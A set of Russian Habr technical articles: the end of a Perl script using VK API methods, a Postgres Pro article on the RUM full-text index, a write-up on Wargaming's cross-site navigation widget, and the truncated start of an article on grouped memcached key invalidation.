my $ua = LWP::UserAgent->new (agent=>'Mozilla/5.0', requests_redirectable=>0);
my $get_url = $ua->request (GET "$url") die("$!");
my $res_url = $get_url->as_string();
return ($res_url);
```
Несколько ссылок вконтакта для автоматизации:
##### Отправка сообщения:
```
https://api.vkontakte.ru/method/messages.send?uid={UID}&message={MSG}&title={TITLE}&access_token={TOKEN}
```
, где UID — ID пользователя, которому отправляется сообщение (это цифровое значение, если в url браузера у друга видно буквенный id, то можно зайти в его альбом и там в url будут и цифры), {MSG} — само сообщение, {TITLE} — заголовок сообщения, и ваш Token.
##### Смена своего статуса. Здесь id не нужно, т.к. приложение привязано к вашему аккаунту.
```
https://api.vkontakte.ru/method/status.set?text={TEXT}&access_token={TOKEN}
```
##### Постинг простого сообщения на стену в группу.
```
https://api.vkontakte.ru/method/wall.post?owner_id=-{GID}&message={MSG}&from_group=1&access_token={TOKEN}
```
, где {GID} — цифровой ID группы с знаком минус, {MSG} — сообщение, from\_group — от кого будет сообщение (1 — от группы (если вы администратор)).
Вот и всё. Конечно, нужно ещё вставить код проверок и выхода по ошибкам и т.п. Но это уже на ваше усмотрение. | https://habr.com/ru/post/211198/ | null | ru | null |
# Индексы в PostgreSQL — 8
Мы уже рассмотрели [механизм индексирования PostgreSQL](https://habrahabr.ru/company/postgrespro/blog/326096/), [интерфейс методов доступа](https://habrahabr.ru/company/postgrespro/blog/326106/) и все основные методы доступа, как то: [хеш-индексы](https://habrahabr.ru/company/postgrespro/blog/328280/), [B-деревья](https://habrahabr.ru/company/postgrespro/blog/330544/), [GiST](https://habrahabr.ru/company/postgrespro/blog/333878/), [SP-GiST](https://habrahabr.ru/company/postgrespro/blog/337502/) и [GIN](https://habrahabr.ru/company/postgrespro/blog/340978/). А в этой части посмотрим на превращение джина в ром.
RUM
===
Хоть авторы и утверждают, что джин — могущественный дух, но тема напитков все-таки победила: GIN следующего поколения назвали RUM.
Этот метод доступа развивает идею, заложенную в GIN, и позволяет выполнять полнотекстовый поиск еще быстрее. Это единственный метод в этой серии статей, который не входит в стандартную поставку PostgreSQL и является сторонним расширением. Есть несколько вариантов его установки:
* Взять пакет yum или apt из [репозитория PGDG](https://www.postgresql.org/download/). Например, если вы ставили PostgreSQL из пакета postgresql-10, то поставьте еще postgresql-10-rum.
* Самостоятельно собрать и установить из [исходных кодов на github](https://github.com/postgrespro/rum) (инструкция там же).
* Пользоваться в составе Postgres Pro Enterprise (или хотя бы читать оттуда [документацию](https://postgrespro.ru/docs/enterprise/9.6/rum)).
Ограничения GIN
---------------
Какие ограничения индекса GIN позволяет преодолеть RUM?
Во-первых, тип данных tsvector, помимо самих лексем, содержит информацию об их позициях внутри документа. В GIN-индексе, как мы видели [в прошлый раз](https://habrahabr.ru/company/postgrespro/blog/340978/), эта информация не сохраняются. Из-за этого операции *фразового поиска,* появившиеся в версии 9.6, обслуживается GIN-индексом неэффективно и вынуждены обращаться к исходным данным для перепроверки.
Во-вторых, поисковые системы обычно возвращают результаты в порядке релевантности (что бы это ни означало). Для этого можно пользоваться функциями *ранжирования* ts\_rank и ts\_rank\_cd, но их приходится вычислять для каждой строки результата, что, конечно, медленно.
Метод доступа RUM в первом приближении можно рассматривать как GIN, в который добавлена позиционная информация, и который поддерживает выдачу результата в нужном порядке (аналогично тому, как [GiST](https://habrahabr.ru/company/postgrespro/blog/333878/) умеет выдавать ближайших соседей). Пойдем по порядку.
Фразовый поиск
--------------
Запрос в полнотекстовом поиске может содержать специальные конструкции, которые учитывают расстояние между лексемами. Например, можно найти документы, в которых бабку от дедки отделяет еще одно слово:
`postgres=# select to_tsvector('Бабка за дедку, дедка за репку...') @@
to_tsquery('бабка <2> дедка');
?column?
----------
t
(1 row)`
Или указать, что слова должны стоять друг за другом:
`postgres=# select to_tsvector('Бабка за дедку, дедка за репку...') @@
to_tsquery('дедка <-> дедка');
?column?
----------
t
(1 row)`
Обычный индекс GIN может выдать документы, в которых есть обе лексемы, но проверить расстояние между ними можно, только заглянув в tsvector:
`postgres=# select to_tsvector('Бабка за дедку, дедка за репку...');
to_tsvector
------------------------------
'бабк':1 'дедк':3,4 'репк':6
(1 row)`
В индексе RUM каждая лексема не просто ссылается на строки таблицы: вместе с каждым TID-м лежит и список позиций, в которых лексема встречается в документе. Вот как можно представить себе индекс, созданный на уже хорошо знакомой нам таблице с белой березой (по умолчанию для tsvector используется класс операторов rum\_tsvector\_ops):
`postgres=# create extension rum;
CREATE EXTENSION
postgres=# create index on ts using rum(doc_tsv);
CREATE INDEX`

Серые квадраты на рисунке — добавленная позиционная информация:
`postgres=# select ctid, doc, doc_tsv from ts;
ctid | doc | doc_tsv
--------+-------------------------+--------------------------------
(0,1) | Во поле береза стояла | 'берез':3 'пол':2 'стоя':4
(0,2) | Во поле кудрявая стояла | 'кудряв':3 'пол':2 'стоя':4
(0,3) | Люли, люли, стояла | 'люл':1,2 'стоя':3
(0,4) | Люли, люли, стояла | 'люл':1,2 'стоя':3
(1,1) | Некому березу заломати | 'берез':2 'заломат':3 'нек':1
(1,2) | Некому кудряву заломати | 'заломат':3 'кудряв':2 'нек':1
(1,3) | Люли, люли, заломати | 'заломат':3 'люл':1,2
(1,4) | Люли, люли, заломати | 'заломат':3 'люл':1,2
(2,1) | Я пойду погуляю | 'погуля':3 'пойд':2
(2,2) | Белую березу заломаю | 'бел':1 'берез':2 'залома':3
(2,3) | Люли, люли, заломаю | 'залома':3 'люл':1,2
(2,4) | Люли, люли, заломаю | 'залома':3 'люл':1,2
(12 rows)`
В GIN еще есть отложенная вставка при указании параметра fastupdate; в RUM эта функциональность убрана.
Чтобы посмотреть, как индекс работает на реальных данных, воспользуемся известным нам [архивом](https://oc.postgrespro.ru/index.php/s/fRxTZ0sVfPZzbmd) рассылки pgsql-hackers.
`fts=# alter table mail_messages add column tsv tsvector;
ALTER TABLE
fts=# set default_text_search_config = default;
SET
fts=# update mail_messages
set tsv = to_tsvector(body_plain);
...
UPDATE 356125`
Вот как выполняется запрос, использующий фразовый поиск, с индексом GIN:
`fts=# create index tsv_gin on mail_messages using gin(tsv);
CREATE INDEX
fts=# explain (costs off, analyze)
select * from mail_messages where tsv @@ to_tsquery('hello <-> hackers');
QUERY PLAN
---------------------------------------------------------------------------------
Bitmap Heap Scan on mail_messages (actual time=2.490..18.088 **rows=259** loops=1)
Recheck Cond: (tsv @@ to_tsquery('hello <-> hackers'::text))
**Rows Removed by Index Recheck: 1517**
Heap Blocks: exact=1503
-> Bitmap Index Scan on **tsv\_gin** (actual time=2.204..2.204 **rows=1776** loops=1)
Index Cond: (tsv @@ to_tsquery('hello <-> hackers'::text))
Planning time: 0.266 ms
Execution time: 18.151 ms
(8 rows)`
Как видно из плана, GIN-индекс используется, но возвращает 1776 потенциальных совпадений, из которых остается 259, а 1517 отбрасываются на этапе перепроверки.
Удалим теперь GIN-индекс и построим RUM.
`fts=# drop index tsv_gin;
DROP INDEX
fts=# create index tsv_rum on mail_messages using rum(tsv);
CREATE INDEX`
Теперь в индексе есть вся необходимая информация и поиск выполняется точно:
`fts=# explain (costs off, analyze)
select * from mail_messages
where tsv @@ to_tsquery('hello <-> hackers');
QUERY PLAN
--------------------------------------------------------------------------------
Bitmap Heap Scan on mail_messages (actual time=2.798..3.015 **rows=259** loops=1)
Recheck Cond: (tsv @@ to_tsquery('hello <-> hackers'::text))
Heap Blocks: exact=250
-> Bitmap Index Scan on **tsv\_rum** (actual time=2.768..2.768 **rows=259** loops=1)
Index Cond: (tsv @@ to_tsquery('hello <-> hackers'::text))
Planning time: 0.245 ms
Execution time: 3.053 ms
(7 rows)`
Сортировка по релевантности
---------------------------
Для того, чтобы выдавать документы сразу в нужном порядке, индекс RUM поддерживает *упорядочивающие операторы,* о которых у нас шла речь в части про [GiST](https://habrahabr.ru/company/postgrespro/blog/333878/). Расширение rum определяет такой оператор `<=>`, возвращающий некое расстояние между документом (tsvector) и запросом (tsquery). Например:
`fts=# select to_tsvector('Бабка за дедку, дедка за репку...') <=> to_tsquery('репка');
?column?
----------
16.4493
(1 row)
fts=# select to_tsvector('Бабка за дедку, дедка за репку...') <=> to_tsquery('дедка');
?column?
----------
13.1595
(1 row)`
Документ оказался более релевантен первому запросу, чем второму: чем чаще в документе встречается слово, тем менее оно «ценно».
Снова попробуем сравнить GIN и RUM на относительно большом объеме данных: выберем десять наиболее релевантных документов, содержащих «hello» и «hackers».
`fts=# explain (costs off, analyze)
select * from mail_messages
where tsv @@ to_tsquery('hello & hackers')
order by ts_rank(tsv,to_tsquery('hello & hackers'))
limit 10;
QUERY PLAN
---------------------------------------------------------------------------------------------
Limit (actual time=27.076..27.078 rows=10 loops=1)
-> **Sort** (actual time=27.075..27.076 **rows=10** loops=1)
Sort Key: (ts_rank(tsv, to_tsquery('hello & hackers'::text)))
Sort Method: top-N heapsort Memory: 29kB
-> Bitmap Heap Scan on mail_messages (actual ... rows=1776 loops=1)
Recheck Cond: (tsv @@ to_tsquery('hello & hackers'::text))
Heap Blocks: exact=1503
-> Bitmap Index Scan on **tsv\_gin** (actual ... **rows=1776** loops=1)
Index Cond: (tsv @@ to_tsquery('hello & hackers'::text))
Planning time: 0.276 ms
Execution time: 27.121 ms
(11 rows)`
GIN-индекс возвращает 1776 совпадений, которые затем отдельно сортируются для выборки десяти наиболее подходящих.
С индексом RUM запрос выполняется простым индексным сканированием: никакие лишние документы не просматриваются, никакой отдельной сортировки не требуется:
`fts=# explain (costs off, analyze)
select * from mail_messages
where tsv @@ to_tsquery('hello & hackers')
order by tsv <=> to_tsquery('hello & hackers')
limit 10;
QUERY PLAN
--------------------------------------------------------------------------------------------
Limit (actual time=5.083..5.171 **rows=10** loops=1)
-> Index Scan using **tsv\_rum** on mail_messages (actual ... **rows=10** loops=1)
Index Cond: (tsv @@ to_tsquery('hello & hackers'::text))
Order By: (tsv <=> to_tsquery('hello & hackers'::text))
Planning time: 0.244 ms
Execution time: 5.207 ms
(6 rows)`
Дополнительная информация
-------------------------
Индекс RUM, как и GIN, можно построить по нескольким полям. Но если в GIN лексемы разных столбцов хранятся независимо друг от друга, то RUM позволяет «связать» основное поле (tsvector в нашем случае) с дополнительным. Для этого надо воспользоваться специальным классом операторов rum\_tsvector\_addon\_ops:
`fts=# create index on mail_messages using rum(tsv **rum\_tsvector\_addon\_ops,** sent)
**with (attach='sent', to='tsv');**
CREATE INDEX`
Такой индекс можно использовать, чтобы выдавать результаты в порядке сортировки по дополнительному полю:
`fts=# select id, sent, sent <=> '2017-01-01 15:00:00'
from mail_messages
where tsv @@ to_tsquery('hello')
order by sent <=> '2017-01-01 15:00:00'
limit 10;
id | sent | ?column?
---------+---------------------+----------
2298548 | 2017-01-01 15:03:22 | 202
2298547 | 2017-01-01 14:53:13 | 407
2298545 | 2017-01-01 13:28:12 | 5508
2298554 | 2017-01-01 18:30:45 | 12645
2298530 | 2016-12-31 20:28:48 | 66672
2298587 | 2017-01-02 12:39:26 | 77966
2298588 | 2017-01-02 12:43:22 | 78202
2298597 | 2017-01-02 13:48:02 | 82082
2298606 | 2017-01-02 15:50:50 | 89450
2298628 | 2017-01-02 18:55:49 | 100549
(10 rows)`
Здесь мы ищем подходящие строки, расположенные как можно ближе к указанной дате, не важно, раньше или позже. Чтобы получить результаты, строго предшествующие дате (или следующие за ней), надо воспользоваться операцией `<=|` (или `|=>`).
Запрос, как мы и ожидаем, выполняется простым индексным сканированием:
`ts=# explain (costs off)
select id, sent, sent <=> '2017-01-01 15:00:00'
from mail_messages
where tsv @@ to_tsquery('hello')
order by sent <=> '2017-01-01 15:00:00'
limit 10;
QUERY PLAN
---------------------------------------------------------------------------------
Limit
-> Index Scan using mail_messages_tsv_sent_idx on mail_messages
Index Cond: (tsv @@ to_tsquery('hello'::text))
Order By: (sent <=> '2017-01-01 15:00:00'::timestamp without time zone)
(4 rows)`
Если бы мы создали индекс без дополнительной информации о связи полей, то для аналогичного запроса пришлось бы выполнять сортировку всех полученных от индекса результатов.
Конечно, кроме даты в RUM-индекс можно добавить поля и других типов данных — поддерживаются практически все базовые типы. Например, интернет-магазин может быстро показывать товары по новизне (дата), цене (numeric), популярности или размеру скидки (целое или плавающая точка).
Другие классы операторов
------------------------
Для полноты картины стоит сказать и про другие доступные классы операторов.
Начнем с **rum\_tsvector\_hash\_ops** и **rum\_tsvector\_hash\_addon\_ops.** Они во всем аналогичны уже рассмотренным выше rum\_tsvector\_ops и rum\_tsvector\_addon\_ops, но в индексе сохраняется не сама лексема, а ее хеш-код. Это может уменьшить размер индекса, но, разумеется, делает поиск менее точным и требующим перепроверки. Кроме того, индекс перестает поддерживать поиск частичных совпадений.
Любопытен класс операторов **rum\_tsquery\_ops.** Он позволяет решать «обратную» задачу: находить запросы, которые соответствуют документу. Зачем это может понадобиться? Например, подписать пользователя на новые товары по его фильтру. Или автоматически классифицировать новые документы. Вот простой пример:
`fts=# create table categories(query tsquery, category text);
CREATE TABLE
fts=# insert into categories values
(to_tsquery('vacuum | autovacuum | freeze'), 'vacuum'),
(to_tsquery('xmin | xmax | snapshot | isolation'), 'mvcc'),
(to_tsquery('wal | (write & ahead & log) | durability'), 'wal');
INSERT 0 3
fts=# create index on categories using rum(query);
CREATE INDEX
fts=# select array_agg(category)
from categories
where to_tsvector(
'Hello hackers, the attached patch greatly improves performance of tuple
freezing and also reduces size of generated write-ahead logs.'
) @@ query;
array_agg
--------------
{vacuum,wal}
(1 row)`
Остаются классы операторов **rum\_anyarray\_ops** и **rum\_anyarray\_addon\_ops** — они предназначены для работы не с tsvector, а с массивами. Для GIN это уже рассматривалось [в прошлый раз](https://habrahabr.ru/company/postgrespro/blog/340978/), так что нет резона повторяться.
Размер индекса и журнала предзаписи
-----------------------------------
Понятно, что, раз RUM содержит больше информации, чем GIN, то и места он будет занимать больше. В прошлый раз мы сравнивали размеры разных индексов; добавим в эту таблицу и RUM:
`rum | gin | gist | btree
--------+--------+--------+--------
457 MB | 179 MB | 125 MB | 546 MB`
Как видно, объем вырос довольно существенно — такова плата за быстрый поиск.
Еще один неочевидный момент, на который стоит обратить внимание, связан с тем, что RUM является расширением, то есть его можно устанавливать, не внося никаких изменений в ядро системы. Это стало возможным в версии 9.6 благодаря патчу, который сделал [Александр Коротков](https://habrahabr.ru/users/smagen/). Одна из задач, которые при этом пришлось решить — генерация журнальных записей. Механизм журналирования обязан быть абсолютно надежным, поэтому расширение нельзя пускать в эту кухню. Вместо того, чтобы позволять расширению создавать свои собственные типы журнальных записей, сделано так: код расширения сообщает о намерении изменить страницу, вносит в нее любые изменения и сигнализирует о завершении, а уже ядро системы сравнивает старую и новую версии страницы и само генерирует необходимые унифицированные журнальные записи.
Текущий алгоритм генерации сравнивает страницы побайтово, находит измененные фрагменты и записывает в журнал каждый такой фрагмент вместе со смещением от начала страницы. Это работает хорошо и при изменении всего нескольких байтов, и когда страница поменялась полностью. Но если внутрь страницы добавить какой-то фрагмент, сдвинув остальное содержимое вниз (или, наоборот, убрать фрагмент, сдвинув содержимое вверх), формально изменится значительно больше байтов, чем реально было добавлено или удалено.
Из-за этого активно изменяющийся RUM-индекс может генерировать журнальные записи существенно большего размера, чем GIN (который, будучи не расширением, а частью ядра, управляет журналом сам). Степень этого неприятного эффекта сильно зависит от реальной нагрузки, но, чтобы как-то почувствовать проблему, давайте попробуем несколько раз удалить и добавить некоторое количество строк, перемежая эти действия очисткой (vacuum). Оценить размер журнальных записей можно так: в начале и в конце запомнить позицию в журнале функцией pg\_current\_wal\_location (до десятой верcии — pg\_current\_xlog\_location) и затем посмотреть на их разность.
Тут, конечно, надо иметь в виду много факторов. Нужно убедиться, что в системе работает только один пользователь, иначе в расчет попадут «лишние» записи. Даже в этом случае мы учитываем не только RUM, но и изменения самой таблицы и индекса, поддерживающего первичный ключ. Влияют и значения конфигурационных параметров (здесь использовался уровень журнала replica, без сжатия). Но все же попробуем.
`fts=# select pg_current_wal_location() as start_lsn \gset
fts=# insert into mail_messages(parent_id, sent, subject, author, body_plain, tsv)
select parent_id, sent, subject, author, body_plain, tsv
from mail_messages where id % 100 = 0;
INSERT 0 3576
fts=# delete from mail_messages where id % 100 = 99;
DELETE 3590
fts=# vacuum mail_messages;
VACUUM
fts=# insert into mail_messages(parent_id, sent, subject, author, body_plain, tsv)
select parent_id, sent, subject, author, body_plain, tsv
from mail_messages where id % 100 = 1;
INSERT 0 3605
fts=# delete from mail_messages where id % 100 = 98;
DELETE 3637
fts=# vacuum mail_messages;
VACUUM
fts=# insert into mail_messages(parent_id, sent, subject, author, body_plain, tsv)
select parent_id, sent, subject, author, body_plain, tsv from mail_messages
where id % 100 = 2;
INSERT 0 3625
fts=# delete from mail_messages where id % 100 = 97;
DELETE 3668
fts=# vacuum mail_messages;
VACUUM
fts=# select pg_current_wal_location() as end_lsn \gset
fts=# select pg_size_pretty(:'end_lsn'::pg_lsn - :'start_lsn'::pg_lsn);
pg_size_pretty
----------------
3114 MB
(1 row)`
Итак, получилось около 3 ГБ. А если тот же эксперимент повторить с индексом GIN, будет всего около 700 МБ.
Поэтому хотелось бы иметь другой алгоритм, находящий минимальное количество операций вставки и удаления, с помощью которых одно состояние страницы можно привести к другому — аналогично тому, как работает утилита diff. Такой алгоритм уже реализовал [Олег Иванов](https://habrahabr.ru/users/tigvarts/), его [патч](https://commitfest.postgresql.org/15/1363/) обсуждается. В приведенном примере этот патч, ценой небольшого замедления, позволяет сократить объем журнальных записей в полтора раза, до 1900 МБ.
Свойства
--------
Традиционно посмотрим на свойства метода доступа rum (запросы [приводились ранее](https://habrahabr.ru/company/postgrespro/blog/326106/)), обратив внимание на отличия от gin.
Свойства метода:
`amname | name | pg_indexam_has_property
--------+---------------+-------------------------
rum | can_order | f
rum | can_unique | f
rum | can_multi_col | t
rum | can_exclude | t -- f для gin`
Свойства индекса:
`name | pg_index_has_property
---------------+-----------------------
clusterable | f
index_scan | t -- f для gin
bitmap_scan | t
backward_scan | f`
Отметим, что RUM, в отличие от GIN, поддерживает индексное сканирование — иначе нельзя было бы получить ровно необходимое количество результатов в запросах с фразой limit. Соответственно, нет необходимости и в аналоге параметра gin\_fuzzy\_search\_limit. Ну и, как следствие, индекс может использоваться для поддержки ограничений исключения.
Свойства уровня столбца:
`name | pg_index_column_has_property
--------------------+------------------------------
asc | f
desc | f
nulls_first | f
nulls_last | f
orderable | f
distance_orderable | t -- f для gin
returnable | f
search_array | f
search_nulls | f`
Здесь отличие в том, что RUM поддерживает упорядочивающие операторы. Хотя и не для всех классов операторов: например, для tsquery\_ops будет false.
[Продолжение](https://habrahabr.ru/company/postgrespro/blog/346460/). | https://habr.com/ru/post/343488/ | null | ru | null |
# Как работает Wargaming Common Menu
Доброго времени суток!
Хочу поделиться с сообществом опытом разработки JS-виджета межпроектной навигации. Он представляет собой модуль, который подключается на большинство сайтов вселенной Wargaming ([Порталы](http://wotblitz.ru/), [Wiki](http://wiki.wargaming.net/ru/), [WarGag](http://wargag.ru) и пр.).
Основная его задача — дать пользователю удобную навигацию между разными сервисами одной тематики. Но он выполняет и ряд других функций, например, отображает личные уведомления, краткие досье по профилям пользователя в каждой из наших игр и еще многое другое.

### Сначала немного о требованиях
Сайтов, на которые встраивается меню, довольно много, и все они имеют разный дизайн и верстку. Так исторически сложилось, что сайты построены на разных фреймворках и в разное время, используют разные библиотеки и иногда совсем друг на друга не похожи.
Меню должно находиться в самом верху страницы, то есть по сути отображаться первым, причем так, чтобы пользователь не замечал, что меню — это отдельный компонент.
С наших сайтов должна быть снята необходимость следить за выходом новых проектов, изменением адресов существующих. Актуализация пунктов меню должна происходить без участия сайтов.
Меню должно уметь показывать текущему пользователю данные по его аккаунту — наличие/отсутствие профилей в разных проектах, краткую текущую статистику по каждому из проектов.
Также через меню у пользователя должен быть доступ к приватным уведомлениям, при том что поток уведомлений для каждого пользователя может быть довольно интенсивным.
### Теперь о реализации
По сути проект состоит из двух самостоятельных приложений — фронтенда и бекенда, которые деплоятся отдельно и существуют независимо.
Фронтенд — это JS-приложение, набор статических файлов, а бекенд — это JSON-API с доступом к данным по специальному токену. Такая схема была выбрана в основном из-за того, что необходимо выдерживать приличную нагрузку (суммарную по всем сайтам) и обеспечивать работу без даунтайма при штатных обновлениях до новой версии, с минимальными последствиями в случае «падения», так как это означало бы частичную неработоспособность почти всех наших публичных веб-сервисов.
#### CDN
Доступность фронтенда обеспечивается схемой с многоуровневым кэшированием: браузер пользователя — CDN-сервер — origin-сервер — запасные origin-серверы. CDN-сервер работает как кэширующий прокси. Origin-серверы находятся в разных дата-центрах, и на уровне конфигурации CDN для них настроен поочередный fallback.
Инвалидация кэша происходит с помощью purge-команды API CDN-провайдера, а управление кэшем браузера — с помощью GET-параметров URL.
#### Подключение
Сайты подключают меню, просто добавив на страницу скрипт-загрузчик и определив место, в которое оно должно отрисоваться:
```
```
Дальше меню начинает жить своей жизнью — догружает необходимые компоненты, обращается к бекенду за нужными данными и т.д. Например, дропдауны с играми, нотификациями и пользовательскими данными подгружаются и рендерятся только тогда, когда они нужны.
Так как для сайта, подключающего меню, скрипт-загрузчик — это сторонний скрипт, который в общем случае может грузиться дольше, чем локальная статика проекта, существует возможность подключать загрузчик асинхронно (с атрибутом async) — чтобы загрузка сайта не блокировалась, и быть оповещенным о факте успешной загрузки с помощью callback’а.
Сайты-консюмеры не участвуют в релизах меню, а это значит, что нет возможности изменять src loader’а, чтобы сбрасывать кэш браузеров, поэтому используются HTTP-заголовки:
```
location / {
expires 7d;
}
location = /loader.min.js {
add_header Cache-Control "no-cache, must-revalidate";
}
```
С ними браузер каждый раз при обращении к файлу загрузчика отправляет HEAD-запрос на сервер, и если сервер отвечает 304 Not Modified — файл берется из кэша.
#### Сборка
Фронтенд выкатывается на прод-серверы собранным пакетом. Сборкой занимается Grunt, он склеивает и минифицирует исходники, компилирует scss в css, собирает иконки в спрайты (отдельно SVG и PNG), генерирует предустановленные наборы ссылок для меню. Также в dev-режиме есть возможность запустить проект «сам по себе» на express’е с эмуляцией бекенда.
Все иконки отрисованы в векторном формате SVG и сжимаются в один спрайт Grunt-плагином **dr-svg-sprites**. Это позволяет не заботиться об отдельной копии увеличенного размера для ретины и выигрывает по размеру файла. К тому же для старых IE этот плагин генерирует PNG-спрайт, что очень удобно и избавляет нас от головной боли и кучи багов.
#### Конфигурация
Для конфигурации меню под нужды конкретного сайта используются data-атрибуты, которые разработчик сайта определяет когда встраивает к себе загрузчик.
```
```
На случай, когда сайт на момент встраивания загрузчика сам не знает значения всех параметров, есть альтернативный способ передачи параметров — записать соответствующие куки:
```
cm.options.notifications_enabled="1"
cm.options.chat_enabled="0"
cm.options.intro_tooltips_enabled="1"
```
И еще есть JS-API, через которое можно сделать то же самое асинхронно.
```
WG.CommonMenu.update({
notifications_enabled: 1,
chat_enabled: 0,
intro_tooltips_enabled: 1
});
```
#### Хранение настроек
«Конфигурация» для отображения меню на сайте выбирается исходя из этих параметров. В исходных конфигах хранится структура наших ресурсов в нормализованном виде. На этапе сборки происходит составление конкретных наборов ссылок для каждой комбинации (исключая невозможные). Сформированные наборы подгружаются на сайт и используются для рендеринга шаблона.
Меню умеет сохранять персональные настройки пользователя вне зависимости от сайта, на котором оно подключено без участия бекенда. Для сохранения предпочтений пользователя используется Local Storage, либо Cookies в случае недоступности первого. Так как у меню собственный домен, это позволяет сохранять настройки кроссдоменно, то есть можно работать так, будто все открываемые сайты с меню находятся на одном домене. Чтобы добиться такого эффекта, используется статический HTML-файл, который загружается во фрэйме. Этот фрэйм на своем домене и хранит информацию в LS или в куках, а для обмена данными используется PostMessage API.
#### Уведомления
Меню умеет отправлять десктопные уведомления пользователю (если они поддерживаются браузером). Они используются, чтобы сообщить о новых непрочитанных сообщениях, когда вкладка с сайтом неактивна или браузер свернут. Так как у пользователя может быть одновременно открыто несколько вкладок с разными сайтами, но на всех есть меню и каждое умеет оправлять уведомление, мы научили разные экземпляры приложения общаться между собой, чтобы они могли договориться, кто именно будет отправлять уведомление. Сделано это с помощью все того же фрэйма, который хранит данные в Local Storage или Cookies, и предоставляет к ним доступ через JS API.

#### Верстка
Верcтка меню адаптирована под мобильные устройства, и автоматически меняет представление на предустановленных брейкпойнтах. В качестве шаблонизатора используем слегка модифицированное под наши нужды [решение Джона Ресига](http://ejohn.org/blog/javascript-micro-templating/). Оно скромно по функциональности, зато позволяет использовать одни и те же шаблоны в JS и на бекенде в Jinja2 и не требует подгрузки тяжелых библиотек.
Для большинства ссылок по задумке дизайнеров нужно было сделать нестандартное подчеркивание (линия подчеркивания должна была быть ниже стандартной и появляться плавно). Сделали мы это таким образом:
```
.link:after {
content: "";
border-bottom: 0 solid;
position: absolute;
top: 50%;
left: 0;
width: 100%;
margin-top: 8px;
opacity: 0;
transition: .3s ease opacity;
}
.link:hover:after {
opacity: .8;
border-bottom-width: 1px; // IE8 hack
}
```
Сперва решили анимировать ширину подчеркивания, но это выглядело слишком уж нестандартно. Затем был вариант с подъезжанием подчеркивания снизу, но, в итоге решили остановиться на простом появлении из прозрачности.

Еще одной особенностью дизайна была разная стилизация элементов в меню «Игры», в зависимости от количества этих самых элементов.



Т.к. на разных регионах в меню может быть разное количество игр, пришлось сразу прописывать в коде все варианты. Сделали мы это на чистом CSS. О хитром способе подсчета элементов уже писали на хабре [здесь](http://habrahabr.ru/post/252181/) и [здесь](http://habrahabr.ru/company/uprock/blog/198322/).
Если вкратце, то с помощью псевдоселектора **:nth-last-child(n)** мы узнаем, есть ли у нас хотя бы **n** элементов. Как проверить, что у нас ровно **n** элементов? Всего-лишь добавить псевдоселектор **:first-child** (или **nth-child(1)**).
Таким образом мы выберем первый элемент из **n**. Остальные элементы можно выбрать с помощью селектора **~**.
Например, вот так мы стилизуем список с шестью вложенными элементами:
```
li:nth-child(1):nth-last-child(6),
li:nth-child(1):nth-last-child(6) ~ li {
...
}
```
#### Досье пользователя
Если пользователь сайта в данный момент залогинен, то меню обращается в бекенд за данными по этому пользователю. Такие обращения периодически повторяются для актуализации UI.
Бекенд построен на Twisted-воркерах, каждый из которых отвечает за конкретную функциональность; например, есть отдельный сервер для выдачи профайла пользователя, отдельный для уведомлений и так далее.
Однако публично доступные сервера — это вершина айсберга. Вся основная работа происходит в Twisted-демонах, которые обрабатывают поступающие по AMQP-очереди события и складируют результаты работы по разным БД.
Основной их задачей является сбор необходимых данных по внутренним веб-компонентам.

#### Хранение данных
Для быстрого доступа к данным извне организован Redis-кэш, который наполняется и актуализируется теми же воркерами. Чтение из этого кэша происходит прямо из Nginx, с помощью [модуля HttpRedis](http://wiki.nginx.org/HttpRedis) с fallback’ом на питоновский сервер.
Раньше Redis был основным хранилищем данных. Он полностью устраивал, поскольку обладал хорошей производительностью и позволял не заботиться об устаревании сессий. И доступ к данным был мгновенным: все данные были в памяти. Однако объем данных неумолимо рос, и вскоре мы начали сталкиваться с проблемой нехватки оперативной памяти. Для корректной работы Redis необходимо, чтобы было свободной как минимум столько же памяти, сколько уже занято, так как периодически происходит сбрасывание дампа хранилища на диск, для чего форкается процесс.
Мы решили использовать MySQL базу данных с движком TokuDB в качестве постоянного хранилища (TokuDB выбрали из-за хорошего сжатия данных и возможности быстро менять структуру таблиц) и Redis для хранения сессионного ключа. Также Redis используется как хранилище кэша.
#### Отключенный JS
Если у пользователя в браузере отключен Javascript, бекенд умеет подстраховывать и рендерить меню на сервере. Тогда отображение происходит во фрэйме. Для рендеринга используюся те же шаблоны и стили, что и в JS.
### В заключение
Заявленные требования реализованы, но в решение просится возможность более гибкой кастомизации. Изначально мы расчитывали, что удастся уложить все сайты-потребители в четкую структуру, но на деле потребители очень разные. Мы будем идти в сторону уменьшения участия разработчиков меню для кастомизации оного, позволяя каждому потребителю делать это самостоятельно.
Также в планах ряд интересных фич, которые с помощью Common Menu могут быть реализованы и доставлены пользователю одновременно на всех веб-сервисах в сжатые сроки. | https://habr.com/ru/post/259687/ | null | ru | null |
# Использование составных ключей для манипуляции данными в memcached
Часто, при работе с [memcached](http://ru.wikipedia.org/wiki/Memcached), возникает ситуация, когда необходимо удалить данные в самых различных местах. Например, при добавлении нового комментария, необходимо обновить не только кеш самих комментариев этой страницы, но и ленты комментариев на главной странице, списока комментариев пользователя, счетчика комментариев пользователя, общего счетчика комментариев сайта, счетчика комментариев статьи и т.д. Можно запомнить все ключи этих данных и множество раз вызвать delete() с этими ключами.
> `php<br/
> $cache->delete('comments\_art123');
>
> $cache->delete('comments\_tape');
>
> $cache->delete('comments\_user123');
>
> $cache->delete('comments\_counters\_art123');
>
> $cache->delete('comments\_counters\_user123');
>
> ......
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как известно, memсached хранит данные плоско, то есть одному ключу соответствует всегда одно значение. Вложенных ключей не существует. Так же нет возможности удалить группу ключей, скажем по маске. Хорошо бы было, если бы можно было сделать, например, так: $cache->delete('comments\*'); Но так нельзя.
Но если нельзя, но очень хочется, то можно ;)
**Задача**: Реализовать возможность групового удаления данных из кеша
**Решение**: Будем хранить признак удаленности той или иной группы в отдельном месте кеша, и факт наличия данных будем определять не по факту наличия самих данных, а по факту наличия признака. Назовем это место **кешхеадер**. Для простоты будем хранить там обычный хеш. Для примера с комментами хеш будет выглядеть так:
> `array(
>
> 'comments' => array(
>
> 'art123' => array(),
>
> 'tape' => array(),
>
> 'user123' => array(),
>
> 'counters' => array('art123' =>array(), 'user123' => array(),),
>
> )
>
> );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Таким образом, что бы пометить некую группу как удаленную, нам надо просто удалить эту ветку из кешхеадера. Например если мы хотим обновить счетчики, удалим ключ 'counters', и тогда наш кешхеадер бедет выглядить так:
> `array(
>
> 'comments' => array(
>
> 'art123' => array(),
>
> 'tape' => array(),
>
> 'user123' => array(),
>
> )
>
> );
>
